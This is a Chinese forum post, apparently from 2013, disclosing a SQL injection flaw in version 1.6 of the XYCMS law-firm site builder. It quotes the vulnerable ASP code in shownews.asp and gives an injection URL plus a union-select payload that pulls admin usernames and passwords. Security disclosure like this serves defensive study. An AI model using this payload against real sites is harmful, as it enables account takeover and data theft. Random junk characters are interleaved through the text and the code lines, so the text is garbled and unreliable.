前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似+ m( D: x( O; {7 E
# D6 ^2 b9 i! {7 e. [淫荡分割线
7 z* o( S8 k1 E1 X--------------------------------------------------------, j& e8 |% i) e3 u* ?! M
1 _* G8 E4 l0 ^& D( P3 O7 z- m) O
审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
+ ^ N4 S5 N" O+ |* ?5 y% o源码地址:http://down.chinaz.com/soft/29233.htm
' a6 F# `# @8 S$ p+ r1 c
* U3 S" J: l( T: Y5 F3 S$ M7 P漏洞文件:shownews.asp; [4 j5 T S: r
漏洞代码：7-13行7 S7 {9 n" ~( X& W( a; O& F, }
+ P% O O1 `. T, ?8 G
' G3 G I, p0 P7 K, ^5 W0 K# d$ D) n, S
<% ) E; a; c8 Q2 l+ {. _
id=request.QueryString("id")
* k( z! y" |* [( ]9 J9 m! { 8 b- n; Y* f$ t$ _: ?
set snews=server.createobject("adodb.recordset")
1 U7 S; D m3 Yexec="select * from [news] where id="&id
) b' j) p, n- @) X4 \% `( Fsnews.open exec,conn,1,1( {* ^- L0 E7 X# {6 e* C! K
%>8 o: K. \ A- o
% R+ B2 k8 N# t& H/ }( ]
4 w, T% U6 a8 d! Z- f& [什么过滤都没有 直造成注入
' l/ A) g. a6 g1 r
2 O8 G( q5 [! B' w% `7 Z注入点:http://127.0.0.1:99/shownews.asp?id=xx4 I5 a/ n' A( |
& t% _% ]: y4 a其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找/ D* l8 W, {( |$ m2 ?
+ N1 a' L9 i! G $ \1 Q$ N2 s( O" o) j2 A! N& ]
exp: union select 1,admin,password,4,5,7 from admin_user6 j6 p1 Z; b8 U5 V' l0 C: A7 Y
5 S6 y7 X8 \; t+ I, K- y8 E+ Y |
发表于 2013-4-4 17:28:12
收藏
支持
反对